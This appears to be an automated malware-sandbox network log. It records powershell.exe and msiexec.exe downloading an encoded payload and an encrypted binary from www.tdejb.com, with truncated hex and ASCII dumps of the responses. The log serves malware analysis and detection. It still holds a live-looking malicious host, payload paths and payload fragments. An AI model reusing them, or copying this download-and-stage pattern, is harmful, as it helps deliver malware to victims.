Dec 18, 2024 19:28:29.900621891 CET	1.1.1.1	192.168.2.6	0x8e3d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

www.tdejb.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49720	202.71.109.228	443	524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:27:13 UTC	173	OUT	GET /ef/Skifterne.sea HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: www.tdejb.com Connection: Keep-Alive
2024-12-18 18:27:14 UTC	183	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:27:12 GMT Server: Apache Last-Modified: Wed, 18 Dec 2024 05:46:30 GMT Accept-Ranges: bytes Content-Length: 460840 Connection: close
2024-12-18 18:27:14 UTC	8009	IN	Data Raw: 36 77 4b 5a 4f 75 73 43 73 54 71 37 34 37 55 58 41 4f 73 43 52 76 6c 78 41 5a 73 44 58 43 51 45 63 51 47 62 36 77 4b 41 4d 4c 6e 68 6e 45 72 44 63 51 47 62 36 77 4a 6e 50 59 48 70 46 66 43 58 71 33 45 42 6d 2b 73 43 74 54 79 42 77 54 52 54 54 65 6a 72 41 6f 30 72 36 77 49 7a 55 75 73 43 37 79 74 78 41 5a 75 36 45 44 4c 42 49 75 73 43 5a 67 76 72 41 73 6e 59 63 51 47 62 36 77 49 77 34 44 48 4b 36 77 49 49 6c 58 45 42 6d 34 6b 55 43 33 45 42 6d 33 45 42 6d 39 48 69 63 51 47 62 36 77 4b 36 4e 49 50 42 42 48 45 42 6d 33 45 42 6d 34 48 35 33 54 79 47 42 48 7a 4e 63 51 47 62 63 51 47 62 69 30 51 6b 42 48 45 42 6d 33 45 42 6d 34 6e 44 63 51 47 62 36 77 49 52 32 59 48 44 62 76 31 51 41 33 45 42 6d 33 45 42 6d 37 71 73 30 65 6d 6a 36 77 4b 36 70 48 45 42 6d 34 48 Data Ascii: 6wKZOusCsTq747UXAOsCRvlxAZsDXCQEcQGb6wKAMLnhnErDcQGb6wJnPYHpFfCXq3EBm+sCtTyBwTRTTejrAo0r6wIzUusC7ytxAZu6EDLBIusCZgvrAsnYcQGb6wIw4DHK6wIIlXEBm4kUC3EBm3EBm9HicQGb6wK6NIPBBHEBm3EBm4H53TyGBHzNcQGbcQGbi0QkBHEBm3EBm4nDcQGb6wIR2YHDbv1QA3EBm3EBm7qs0emj6wK6pHEBm4H
2024-12-18 18:27:14 UTC	8000	IN	Data Raw: 43 71 57 56 71 4f 76 72 48 6b 58 46 63 56 52 7a 54 49 44 46 48 42 46 39 78 34 4e 4f 65 41 52 32 35 7a 76 6c 56 55 42 4e 63 77 34 48 46 64 54 38 47 68 57 4d 65 4d 76 63 68 54 38 66 33 61 68 70 37 67 65 36 49 54 43 71 78 54 38 64 2b 6c 46 33 62 67 65 52 50 51 77 54 4d 4b 52 73 41 69 55 41 71 52 71 52 33 67 59 64 62 74 61 71 6b 70 36 79 45 31 38 48 4c 36 6e 2f 43 7a 74 44 6d 50 33 58 54 30 43 52 74 6b 75 6c 69 62 6d 36 30 31 71 2f 6d 76 63 35 4b 4a 55 61 70 70 36 6b 6c 49 41 34 4c 77 75 79 76 72 34 30 61 36 35 4b 4c 62 45 74 49 71 59 2b 56 79 34 48 75 77 71 38 4e 55 55 7a 41 39 66 7a 35 6c 72 63 78 7a 76 4f 4f 55 49 61 37 77 70 34 69 33 4d 33 59 6e 66 73 79 39 7a 36 65 75 34 7a 4a 6d 50 64 35 63 2f 66 34 33 74 73 4e 2b 6e 4e 6b 6d 30 71 50 73 46 6a 6a 4b 44 Data Ascii: CqWVqOvrHkXFcVRzTIDFHBF9x4NOeAR25zvlVUBNcw4HFdT8GhWMeMvchT8f3ahp7ge6ITCqxT8d+lF3bgeRPQwTMKRsAiUAqRqR3gYdbtaqkp6yE18HL6n/CztDmP3XT0CRtkulibm601q/mvc5KJUapp6klIA4Lwuyvr40a65KLbEtIqY+Vy4Huwq8NUUzA9fz5lrcxzvOOUIa7wp4i3M3Ynfsy9z6eu4zJmPd5c/f43tsN+nNkm0qPsFjjKD
2024-12-18 18:27:14 UTC	8000	IN	Data Raw: 47 4d 43 64 76 38 33 35 61 72 54 4d 42 30 41 43 65 76 69 48 6c 56 70 56 33 43 51 36 74 71 67 34 52 79 76 38 51 68 68 37 76 59 64 46 4f 73 58 4c 6a 58 43 48 5a 37 72 75 68 77 31 42 34 69 2f 2b 62 46 70 50 47 46 71 4a 4b 37 50 34 74 74 6a 56 6e 6d 32 69 58 56 68 42 36 66 32 78 68 41 65 51 52 33 6e 48 67 77 32 4b 4b 73 47 4f 65 2b 56 44 54 6e 76 6c 51 30 35 37 35 55 4e 4f 65 2b 56 63 44 41 6c 72 32 31 69 72 73 34 49 59 42 59 4c 32 63 31 49 50 2b 70 4e 67 30 79 35 6c 66 38 68 46 31 7a 52 48 6b 50 75 6b 64 57 45 4f 46 65 38 50 62 53 46 78 62 55 51 4f 6c 34 4e 44 50 2b 31 34 48 76 61 4f 5a 6a 52 6d 61 44 37 70 69 47 68 68 43 6d 6c 4c 44 6f 50 59 63 44 43 41 79 66 75 69 76 35 43 48 7a 6d 31 49 4d 58 4e 66 6b 75 71 4c 35 49 4c 36 51 35 34 38 38 30 34 55 39 35 32 Data Ascii: GMCdv835arTMB0ACeviHlVpV3CQ6tqg4Ryv8Qhh7vYdFOsXLjXCHZ7ruhw1B4i/+bFpPGFqJK7P4ttjVnm2iXVhB6f2xhAeQR3nHgw2KKsGOe+VDTnvlQ0575UNOe+VcDAlr21irs4IYBYL2c1IP+pNg0y5lf8hF1zRHkPukdWEOFe8PbSFxbUQOl4NDP+14HvaOZjRmaD7piGhhCmlLDoPYcDCAyfuiv5CHzm1IMXNfkuqL5IL6Q548804U952
2024-12-18 18:27:14 UTC	8000	IN	Data Raw: 41 78 43 66 79 42 5a 6d 31 4c 65 49 62 62 66 49 47 4a 75 59 67 4d 78 71 2b 31 63 67 48 6a 6d 31 78 6c 75 5a 45 68 42 43 63 57 4d 79 4d 63 32 4d 55 6c 6d 6e 44 65 39 5a 67 50 47 2f 78 50 4e 32 39 61 67 39 4d 5a 50 72 65 43 47 57 76 55 4e 64 51 34 64 55 45 41 63 75 30 79 73 45 58 35 74 30 44 58 41 77 55 51 67 49 72 7a 76 61 62 59 55 2b 74 52 6d 79 55 36 34 4b 43 47 7a 45 79 33 43 57 34 64 72 78 62 42 30 62 6d 4d 45 4a 6e 50 65 6a 4d 38 49 51 78 2f 45 62 6d 50 45 30 5a 73 44 6a 4d 39 45 52 6b 70 55 5a 71 4d 34 42 64 64 59 61 66 67 48 4e 58 4d 66 34 54 7a 58 31 59 6d 39 35 45 59 70 42 32 77 35 5a 59 79 63 36 62 36 61 61 4a 7a 35 56 42 69 6f 6a 33 67 78 66 32 65 6a 56 69 73 43 30 7a 79 6c 73 52 36 77 48 65 32 56 44 62 4b 71 74 51 67 35 37 35 51 4e 73 48 4a 43 Data Ascii: AxCfyBZm1LeIbbfIGJuYgMxq+1cgHjm1xluZEhBCcWMyMc2MUlmnDe9ZgPG/xPN29ag9MZPreCGWvUNdQ4dUEAcu0ysEX5t0DXAwUQgIrzvabYU+tRmyU64KCGzEy3CW4drxbB0bmMEJnPejM8IQx/EbmPE0ZsDjM9ERkpUZqM4BddYafgHNXMf4TzX1Ym95EYpB2w5ZYyc6b6aaJz5VBioj3gxf2ejVisC0zylsR6wHe2VDbKqtQg575QNsHJC
2024-12-18 18:27:14 UTC	8000	IN	Data Raw: 4c 34 59 65 6f 64 4e 76 63 67 2f 55 73 48 55 70 76 61 36 78 33 2b 30 4c 68 4f 6e 6b 64 36 76 59 32 4a 75 6b 75 31 5a 66 32 4a 61 68 6d 4b 73 4a 7a 4a 75 59 74 51 52 39 73 65 4d 2f 71 78 50 66 63 52 75 65 70 72 54 54 4d 4e 63 70 57 5a 30 42 41 42 79 38 7a 54 69 6b 70 38 4a 63 49 44 4a 79 46 35 55 66 54 41 74 44 39 35 61 62 70 49 57 64 57 70 52 77 41 66 41 33 4e 45 52 63 49 6b 51 78 57 42 71 58 46 4b 34 32 42 53 55 7a 70 2f 46 74 5a 49 45 6d 59 4d 38 47 57 78 30 4d 4e 6f 43 37 35 2b 62 6f 4f 79 4f 6b 39 49 49 45 4c 38 32 56 6d 39 7a 48 4f 73 34 36 51 69 49 34 70 65 33 6b 57 34 50 6e 61 43 56 61 51 73 4d 79 4e 65 74 43 76 33 68 6f 49 35 66 61 52 6e 53 57 50 42 5a 37 66 6c 37 74 79 61 32 68 64 5a 52 54 63 70 49 37 32 38 4b 72 63 5a 6e 31 32 42 56 75 4e 69 36 Data Ascii: L4YeodNvcg/UsHUpva6x3+0LhOnkd6vY2Juku1Zf2JahmKsJzJuYtQR9seM/qxPfcRueprTTMNcpWZ0BABy8zTikp8JcIDJyF5UfTAtD95abpIWdWpRwAfA3NERcIkQxWBqXFK42BSUzp/FtZIEmYM8GWx0MNoC75+boOyOk9IIEL82Vm9zHOs46QiI4pe3kW4PnaCVaQsMyNetCv3hoI5faRnSWPBZ7fl7tya2hdZRTcpI728KrcZn12BVuNi6
2024-12-18 18:27:14 UTC	8000	IN	Data Raw: 7a 35 64 47 63 6a 4f 73 4b 7a 42 78 6a 41 79 30 2b 67 48 50 42 6c 41 43 4a 2b 2b 5a 6a 44 62 78 62 67 63 54 4f 6b 44 76 6c 6c 37 47 51 4a 6f 58 2f 64 2f 54 56 4d 46 41 46 77 34 51 33 61 6b 51 49 65 4a 31 59 59 59 63 37 56 46 39 35 68 4a 53 48 32 39 6b 38 42 61 78 6a 45 57 38 43 57 4a 41 6a 67 63 42 67 30 35 37 35 55 4e 4f 65 2b 56 44 54 6e 76 6c 51 30 35 37 2f 56 33 4c 37 59 32 69 69 45 35 68 46 41 6e 70 43 74 52 6e 76 4d 30 2f 77 61 6f 6d 66 63 32 74 6b 74 6a 35 50 37 47 68 71 51 79 6c 41 30 35 34 4a 51 2f 76 65 2b 56 44 54 6e 76 6c 51 30 35 37 35 55 4e 4f 65 2b 56 44 55 4b 32 71 78 35 4d 6d 2b 55 56 4b 53 6e 79 36 65 66 73 71 45 4f 41 46 62 41 36 6e 53 37 74 32 36 54 6d 6e 6c 63 74 68 64 79 41 74 72 30 76 44 58 44 50 64 49 7a 4c 69 4e 6e 56 6b 57 35 6e Data Ascii: z5dGcjOsKzBxjAy0+gHPBlACJ++ZjDbxbgcTOkDvll7GQJoX/d/TVMFAFw4Q3akQIeJ1YYYc7VF95hJSH29k8BaxjEW8CWJAjgcBg0575UNOe+VDTnvlQ057/V3L7Y2iiE5hFAnpCtRnvM0/waomfc2tktj5P7GhqQylA054JQ/ve+VDTnvlQ0575UNOe+VDUK2qx5Mm+UVKSny6efsqEOAFbA6nS7t26TmnlcthdyAtr0vDXDPdIzLiNnVkW5n
2024-12-18 18:27:14 UTC	8000	IN	Data Raw: 56 4a 38 72 67 79 35 47 70 73 32 57 72 6f 45 5a 71 48 58 35 59 70 69 62 6d 4c 41 55 76 32 78 58 34 50 7a 58 36 72 67 62 6d 64 6f 48 6e 6b 6d 6a 4e 4f 6b 30 44 46 58 62 6d 66 5a 69 38 6e 4e 6a 4d 74 73 42 39 36 61 5a 71 64 32 55 71 38 77 6f 69 47 4c 34 71 38 6b 52 36 55 73 7a 36 76 51 4b 32 39 71 6d 52 6b 57 72 38 39 72 4e 69 69 6a 44 54 6e 76 6c 51 30 35 37 35 55 4e 4f 65 2b 56 44 54 6e 76 39 6f 48 4f 64 74 69 32 30 4d 71 6e 2f 75 65 44 39 65 51 38 6f 75 7a 4a 67 6f 67 4e 58 78 79 54 2f 51 7a 42 5a 43 69 2b 4f 4f 2b 56 68 4b 77 48 6c 41 30 35 5a 6c 64 66 73 6e 70 39 44 44 6e 76 78 4c 52 54 58 61 6e 6b 75 42 35 74 36 4f 64 39 46 4f 53 47 63 6b 4a 59 75 42 36 62 33 32 68 4c 46 50 7a 77 2f 73 36 50 73 4f 62 56 43 46 45 2b 69 67 64 53 58 4f 71 44 77 69 58 61 Data Ascii: VJ8rgy5Gps2WroEZqHX5YpibmLAUv2xX4PzX6rgbmdoHnkmjNOk0DFXbmfZi8nNjMtsB96aZqd2Uq8woiGL4q8kR6Usz6vQK29qmRkWr89rNiijDTnvlQ0575UNOe+VDTnv9oHOdti20Mqn/ueD9eQ8ouzJgogNXxyT/QzBZCi+OO+VhKwHlA05Zldfsnp9DDnvxLRTXankuB5t6Od9FOSGckJYuB6b32hLFPzw/s6PsObVCFE+igdSXOqDwiXa
2024-12-18 18:27:14 UTC	8000	IN	Data Raw: 2b 5a 6d 6a 76 39 4d 31 4a 77 35 55 49 2f 38 79 33 65 7a 4f 67 4b 33 41 68 77 66 55 4d 48 2f 67 38 78 7a 35 49 45 74 6f 2f 57 4e 51 78 2f 36 30 33 61 46 6f 56 61 34 57 6f 55 50 4f 65 39 6f 31 66 4b 57 46 4c 67 70 37 5a 55 4e 62 63 44 66 32 6d 70 55 6d 72 41 6a 39 52 54 2b 4a 49 63 55 74 37 67 63 37 4d 4d 44 61 68 54 4f 72 41 72 4c 31 32 74 7a 48 4f 38 34 39 51 69 4a 34 4a 57 46 68 70 71 48 44 61 78 57 53 56 55 52 32 41 2b 61 6b 2b 2b 4d 73 56 39 74 64 4a 37 57 48 4f 32 48 4d 77 45 32 7a 7a 58 34 74 4e 33 79 74 50 2b 58 44 54 6d 61 59 6c 79 41 49 58 42 79 6b 47 35 6b 69 57 73 34 55 49 7a 49 68 63 43 49 6c 32 35 55 37 53 63 39 71 46 36 6c 5a 6e 59 45 4d 6e 4b 74 78 45 50 38 6a 39 41 31 6c 79 46 4a 51 6c 53 4a 61 6c 51 4d 4c 44 51 63 33 46 78 76 66 6e 63 51 Data Ascii: +Zmjv9M1Jw5UI/8y3ezOgK3AhwfUMH/g8xz5IEto/WNQx/603aFoVa4WoUPOe9o1fKWFLgp7ZUNbcDf2mpUmrAj9RT+JIcUt7gc7MMDahTOrArL12tzHO849QiJ4JWFhpqHDaxWSVUR2A+ak++MsV9tdJ7WHO2HMwE2zzX4tN3ytP+XDTmaYlyAIXBykG5kiWs4UIzIhcCIl25U7Sc9qF6lZnYEMnKtxEP8j9A1lyFJQlSJalQMLDQc3FxvfncQ
2024-12-18 18:27:14 UTC	8000	IN	Data Raw: 71 55 35 48 72 41 44 37 5a 55 4e 30 66 78 47 44 7a 6d 46 6c 56 79 41 63 38 68 4e 64 57 35 55 2f 7a 69 51 66 6f 7a 34 34 42 41 4c 7a 47 35 38 43 64 63 72 75 59 51 6f 32 4d 65 39 49 4c 46 50 4a 62 57 65 4b 2f 32 37 65 64 68 6e 64 58 33 41 32 58 67 4a 42 74 66 42 74 6e 32 65 33 75 79 56 77 54 54 62 69 51 6a 6c 67 41 38 6e 78 2b 47 6a 67 72 58 2f 6a 4b 72 39 4e 38 51 69 6f 53 52 30 41 56 70 6a 65 74 31 38 59 4e 42 6c 4e 75 35 63 77 54 6e 76 6c 51 30 35 37 35 55 4e 4f 65 2b 56 44 54 6e 76 6c 57 5a 4e 4a 55 35 68 45 7a 57 4f 53 52 31 56 59 59 6e 48 70 35 4b 75 39 62 49 54 4e 56 51 72 57 78 76 6c 7a 6f 52 4d 62 62 62 64 31 41 6a 61 5a 32 35 48 78 6d 37 58 69 67 4e 51 65 4d 62 69 72 38 62 42 35 71 77 38 49 4c 4f 61 4e 58 4a 4e 4d 38 32 36 6b 75 6b 4e 4e 6d 75 4b Data Ascii: qU5HrAD7ZUN0fxGDzmFlVyAc8hNdW5U/ziQfoz44BALzG58CdcruYQo2Me9ILFPJbWeK/27edhndX3A2XgJBtfBtn2e3uyVwTTbiQjlgA8nx+GjgrX/jKr9N8QioSR0AVpjet18YNBlNu5cwTnvlQ0575UNOe+VDTnvlWZNJU5hEzWOSR1VYYnHp5Ku9bITNVQrWxvlzoRMbbbd1AjaZ25Hxm7XigNQeMbir8bB5qw8ILOaNXJNM826kukNNmuK
2024-12-18 18:27:14 UTC	8000	IN	Data Raw: 55 58 36 6c 51 70 38 7a 70 72 69 78 57 41 58 69 59 6b 51 39 6d 57 6c 44 2b 68 74 2f 39 4d 7a 72 6e 48 69 56 49 51 4d 6e 4a 57 37 79 57 4e 48 51 45 2b 55 6e 70 33 48 59 52 6a 48 64 62 42 33 4e 63 36 77 38 7a 54 70 74 57 70 34 58 62 67 71 44 51 38 78 6e 34 7a 4f 4f 34 4a 33 6c 47 35 53 52 4c 65 7a 7a 59 51 6d 5a 46 75 61 5a 6c 61 50 46 51 75 6a 76 59 79 6b 48 38 56 34 2b 4b 6e 2b 69 41 70 56 4c 6e 57 6f 52 70 30 5a 63 53 44 62 71 4f 68 30 32 6c 4b 77 59 67 6f 4d 4f 65 38 73 4c 4c 2f 4d 6a 63 46 59 70 65 32 68 69 6d 4a 2b 35 42 62 31 70 58 58 6f 79 37 54 39 2f 48 50 39 79 7a 50 4f 6e 51 37 73 30 48 73 46 31 69 6e 30 63 41 44 72 66 55 59 43 79 52 54 38 59 36 51 71 72 4c 67 65 68 4e 7a 75 55 63 4f 7a 76 6a 42 33 4e 62 67 42 70 68 36 6d 77 42 54 4c 69 79 33 4e Data Ascii: UX6lQp8zprixWAXiYkQ9mWlD+ht/9MzrnHiVIQMnJW7yWNHQE+Unp3HYRjHdbB3Nc6w8zTptWp4XbgqDQ8xn4zOO4J3lG5SRLezzYQmZFuaZlaPFQujvYykH8V4+Kn+iApVLnWoRp0ZcSDbqOh02lKwYgoMOe8sLL/MjcFYpe2himJ+5Bb1pXXoy7T9/HP9yzPOnQ7s0HsF1in0cADrfUYCyRT8Y6QqrLgehNzuUcOzvjB3NbgBph6mwBTLiy3N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49837	202.71.109.228	443	4156	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:27:56 UTC	167	OUT	GET /ef/ef.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: www.tdejb.com Cache-Control: no-cache
2024-12-18 18:27:57 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:27:56 GMT Server: Apache Last-Modified: Wed, 18 Dec 2024 04:50:01 GMT Accept-Ranges: bytes Content-Length: 449600 Connection: close Content-Type: application/octet-stream
2024-12-18 18:27:57 UTC	7969	IN	Data Raw: d8 ea 63 d0 dc b4 e7 7b a0 48 8d 32 bc aa a8 a1 d9 72 4d 49 ee 58 76 8f 5b 71 ac d4 fc 2c 97 36 74 07 89 0b e4 d7 63 9d 75 eb 2f 56 b6 11 90 9d d7 7a 11 fa 66 b6 6c c5 4b 66 d1 c8 33 46 cb 41 e0 c7 2c 28 cf 28 24 36 89 0a d7 ff c3 4b 4c e2 fd 9b 44 16 3d 05 3e a0 d4 57 3a b7 39 b0 61 c5 01 f3 50 6d 31 01 17 d5 68 bd eb ff 2f e3 59 da e9 bc 36 0d d5 ef d1 81 c9 a0 bd 45 51 17 aa d3 43 57 db 1f bb 5c 76 87 7d 5c fd 3a d9 a1 47 6a e4 f6 ce 84 63 d5 89 30 4c 8c 98 94 19 b1 fb 1f f7 91 22 05 eb 65 86 27 d6 d2 a1 bf 9b 0f 2f ef ec 91 e9 cf a6 a1 70 6b e0 4c 50 4b cf 11 bb 76 ca 1b bb 83 1f 0c 59 0c 67 a1 b9 9d 24 7a f9 c0 a2 86 20 08 f2 84 37 aa 7c d0 95 d9 f3 41 6b c2 41 ba e7 85 17 e4 77 4d 05 00 70 06 1a 73 c7 a3 82 a9 26 70 67 91 73 96 c4 ed 9c 5b 01 f7 e4 Data Ascii: c{H2rMIXv[q,6tcu/VzflKf3FA,(($6KLD=>W:9aPm1h/Y6EQCW\v}\:Gjc0L"e'/pkLPKvYg$z 7\|AkAwMps&pgs[
2024-12-18 18:27:57 UTC	8000	IN	Data Raw: 4f 1d 77 20 2e 60 83 48 87 3f 9a b3 56 4e 53 85 23 a7 56 07 6d d0 ba 28 e9 84 e9 20 b8 29 a5 06 ec 02 55 79 4a f6 04 e2 94 1e e5 bf 90 09 9b 81 10 59 78 a7 5f dc 4e 43 f6 a9 6a fd de b7 dd 23 90 1c 64 c4 a7 b1 31 6f 22 6b 60 32 3e 12 f8 1b fe 76 99 e3 7c d5 f3 dd 91 63 c2 0c ef 1b bd 9e 2f d5 be 6e da b3 49 05 67 9e c4 23 da 45 18 5f 98 7a d4 2d 22 10 2e 8e 0b bc c1 03 9f 89 b0 f3 87 a6 98 6d c0 fc 21 52 67 04 8d e4 b5 94 ec dd 4d c7 a7 3f 4e 4e a3 c8 d9 36 7e 27 3c ab 8e 0f 64 3b d0 66 eb 5b 1d f0 6a 72 5d 2f 54 01 f5 ef cd d1 dc 44 b2 8c 44 db 2c 1b 23 ac ae 2a 49 c4 97 fb 88 0b e6 53 ba 59 ec fb d9 27 06 05 83 db 18 73 e3 59 5b 49 9d 21 90 ea b4 4a be 92 ae 04 32 63 04 98 2e 88 bd 67 06 0b d3 ee b0 98 b9 2f 5d 3b 1a a3 70 ea f1 85 1d 0f 09 b9 8b 98 e5 Data Ascii: Ow .`H?VNS#Vm( )UyJYx_NCj#d1o"k`2>v\|c/nIg#E_z-".m!RgM?NN6~'<d;f[jr]/TDD,#*ISY'sY[I!J2c.g/];p
2024-12-18 18:27:57 UTC	8000	IN	Data Raw: 89 d6 78 9e f0 8e 59 6b fd ff b0 a0 41 10 40 14 59 e4 c6 49 f7 ab 0e 69 95 84 9e cf f7 bb 33 0c d0 2c 1b 8d fb 0e 06 c4 00 58 2e 6d 27 cc a9 ae 09 be 22 ca 45 1e 67 99 be 69 97 1c 1d 4a 21 12 99 04 c1 a6 ce 3a 79 5b b4 aa dc 82 ad c8 ac 3e 85 e2 41 93 33 2e fc ea 06 97 b7 88 90 28 8c 3f c1 26 a6 05 57 3a 42 c8 24 d1 f0 76 26 5d 00 d5 ad be 15 50 5b 9b 73 44 60 d3 b3 e1 33 1b 82 40 0c 25 e3 c6 df 8e 14 c1 61 3c 19 da 3d 02 bd 0f 80 52 a2 b4 ff 71 af ef 3a 48 d8 c3 55 44 12 3a 6d 15 7b da 9a c9 91 a1 9b af 48 b8 9c 86 93 38 ca c5 8c e7 a3 07 c1 39 3e bf 7d 7b 2e 96 fc c6 dc a1 5b 78 1a 1d a8 b1 92 de 3c 1c 51 b9 85 1e 7d b8 a4 96 2f 49 25 d6 e3 ad 8d 68 ac e4 ba be 0e 46 aa eb 90 d4 8d ae 55 cf d5 ef 50 94 f6 24 03 31 5f 68 c9 22 e3 bb 56 c4 f3 b8 f4 c9 75 Data Ascii: xYkA@YIi3,X.m'"EgiJ!:y[>A3.(?&W:B$v&]P[sD`3@%a<=Rq:HUD:m{H89>}{.[x<Q}/I%hFUP$1_h"Vu
2024-12-18 18:27:57 UTC	8000	IN	Data Raw: 93 ce 55 b2 28 b7 8a f3 a2 e5 66 6f 63 44 0d 4a b4 45 a9 e9 48 7d 4c 43 ec 5b 23 9a 88 96 b2 9f e9 d5 54 a9 cd ec 36 fc 82 ff d9 d6 2a 3d 1a 48 4e 00 9d 88 65 fb 70 ff fb 50 05 20 22 72 24 b3 02 52 df f0 b7 86 97 54 85 f4 a1 6d 7a c0 70 61 59 5a ee e1 8b 3a 16 eb 10 f1 c0 d8 55 98 76 e1 50 c0 97 d7 71 50 56 59 db 13 2f cf 5e 79 9a ae b1 7a aa e0 e0 ae 3b 5d 21 e1 9a 58 f5 91 88 6b f0 89 73 bf 4a 8e 8b 59 af c2 9e 4c ee 90 21 c6 1e fb ae 62 ee c8 1c b1 f3 51 cb 6c a3 d3 ba e2 ee ba d9 6d 1b a7 09 25 80 56 10 52 eb f6 81 b6 5f 95 69 e5 88 48 7c 18 a2 c9 41 f1 f4 15 48 12 04 ff 5e 3a 3c e7 b8 9b d4 19 77 3d 34 d7 49 57 a0 48 8c 6a 01 e1 12 a6 64 60 13 a1 7b dc 71 83 5c e3 ac a1 6e 52 ab 71 d4 57 28 cc 44 11 30 ce 04 ec c9 a1 a5 d2 a6 c9 e3 71 a2 81 d5 de a3 Data Ascii: U(focDJEH}LC[#T6*=HNepP "r$RTmzpaYZ:UvPqPVY/^yz;]!XksJYL!bQlm%VR_iH\|AH^:<w=4IWHjd`{q\nRqW(D0q
2024-12-18 18:27:57 UTC	8000	IN	Data Raw: 41 2a c5 59 df ad 23 7f 43 da 19 30 46 cb 5c 61 80 7e 70 3d c9 cf c4 5b 04 36 e7 f7 f2 94 0d e5 fc 61 41 fa 8a 6b 87 fe a8 c4 50 3f 4c 0b f8 72 33 d8 20 bf 99 14 15 03 f0 39 8c 92 6f ed 03 89 da 74 33 58 aa 66 c1 91 51 dc e8 e1 09 27 d6 16 85 c1 05 08 56 27 d2 db 57 eb ff ad 39 4b 12 3d 44 02 70 f7 db c0 1f 54 6d b7 68 ed a3 74 a0 f1 df eb 7d 6d 22 f0 24 31 22 fe b4 5b 2a 3e 9c b6 23 31 56 da 3b 20 b9 70 dc 06 38 26 4d b3 be 5e a1 18 aa 8b d9 e5 19 32 33 96 9e 87 37 32 45 2f 00 41 de de f6 0d cb 9d e4 ff a1 a8 eb e4 43 37 43 2c aa ad a7 11 a3 fb 49 4d 66 10 88 35 03 65 ce c7 09 a3 f4 84 8a 2c e9 a2 f1 78 5c 3a de 18 9c 94 64 81 d4 4e e9 03 20 c2 b8 0f 4e ba b0 ea 58 23 ac 92 fd e5 ab 18 2c 31 79 04 27 df ab 60 e2 0d d8 d1 be 53 88 c4 e0 24 fc 5a 8b e1 24 Data Ascii: AY#C0F\a~p=[6aAkP?Lr3 9ot3XfQ'V'W9K=DpTmht}m"$1"[>#1V; p8&M^2372E/AC7C,IMf5e,x\:dN NX#,1y'`S$Z$
2024-12-18 18:27:58 UTC	8000	IN	Data Raw: f1 86 cc 7f 98 46 c7 60 5e d7 ad da dd 5a 19 bd fa 06 12 99 92 81 74 7e 61 af b5 d3 c6 d3 07 90 b4 d9 12 8d 05 e4 ff 6f b6 eb 06 d0 b0 6e 9c 68 88 ab fd 7d 0c 07 1a 3b 27 df b0 cf 93 ee 30 4c 9a 1d 11 a7 27 d5 ce 24 76 99 fb 34 d7 1c 36 c4 84 78 54 80 21 98 50 65 db 68 87 02 56 b7 85 3e e4 b9 7d 5f 81 7c e9 7e 33 b8 63 67 02 00 d2 96 39 b4 c8 eb 3c e7 f8 ad d2 56 67 bc f1 6c 1f 4e bf 5a f0 91 b4 5e f6 0d ab fa a7 5d 74 3a 5f 63 8a 1d e3 1a 7a 2b 1b fa 96 e5 27 6c 5c cf 97 1c ef bf be 34 ef 71 2c 7d 37 68 bf a3 5f aa ea 5c c6 62 0f 64 de 85 0a c0 0f eb 3c 95 5c 03 b0 96 b3 c2 1e d2 f3 ff 25 41 31 bc 66 41 a4 b7 2b 3e ee ff 7d c0 4a 05 42 1f 5c d8 6b 3c 48 f2 66 5b aa dd 7c dc e7 99 f8 f2 24 4d 0f 3f ff 4b 45 ef c5 e0 65 f4 cc e9 22 9f ab 56 8a cb 62 61 40 Data Ascii: F`^Zt~aonh};'0L'$v46xT!PehV>}_\|~3cg9<VglNZ^]t:_cz+'l\4q,}7h_\bd<\%A1fA+>}JB\k<Hf[\|$M?KEe"Vba@
2024-12-18 18:27:58 UTC	8000	IN	Data Raw: 8f 44 9b c7 f7 ed a0 17 5b 44 6d f6 a0 6c a8 ed 12 e6 4a 89 f2 c0 81 38 45 7a 64 25 21 bb d8 a5 b5 48 b1 c6 25 91 b0 a2 e8 71 77 3b 5c 58 cc f3 8c a7 ea 13 e7 f2 dd 02 28 c4 76 2d bb 17 d5 c9 be ee c2 10 d2 3a a8 aa a2 56 4a fb 6d 93 90 aa 44 01 fc ff dc 2d 4d 2d 34 63 60 e0 ca 85 1f b0 e2 ec d6 6b 2b 2d e4 25 1b 80 8f 86 cf c3 b0 18 fb 3f 44 e8 d9 35 ec 75 86 0c d0 49 49 72 2b a2 0f 49 20 12 8c d1 a6 e0 f8 9f 35 60 73 f7 f8 7e 84 e7 7f 78 65 bf 09 d2 62 39 11 4d c5 3e e8 7c 68 6d 66 48 bd 91 8e 61 bb e1 c3 20 79 8f 6a 9d 59 11 95 60 c7 8a bc af 47 3a 8f ad f5 64 c3 01 bd 96 0d 4e 11 e6 87 c5 92 45 2d 46 84 eb c7 98 ba 94 c7 c2 79 98 e6 5f 75 9d e8 7e af 40 b8 33 44 34 79 1a a3 d6 91 5a 0a 6a f0 15 1b f5 40 a4 b3 59 2f 00 b2 e8 d4 10 ea cb 19 e4 1e ca 1a Data Ascii: D[DmlJ8Ezd%!H%qw;\X(v-:VJmD-M-4c`k+-%?D5uIIr+I 5`s~xeb9M>\|hmfHa yjY`G:dNE-Fy_u~@3D4yZj@Y/
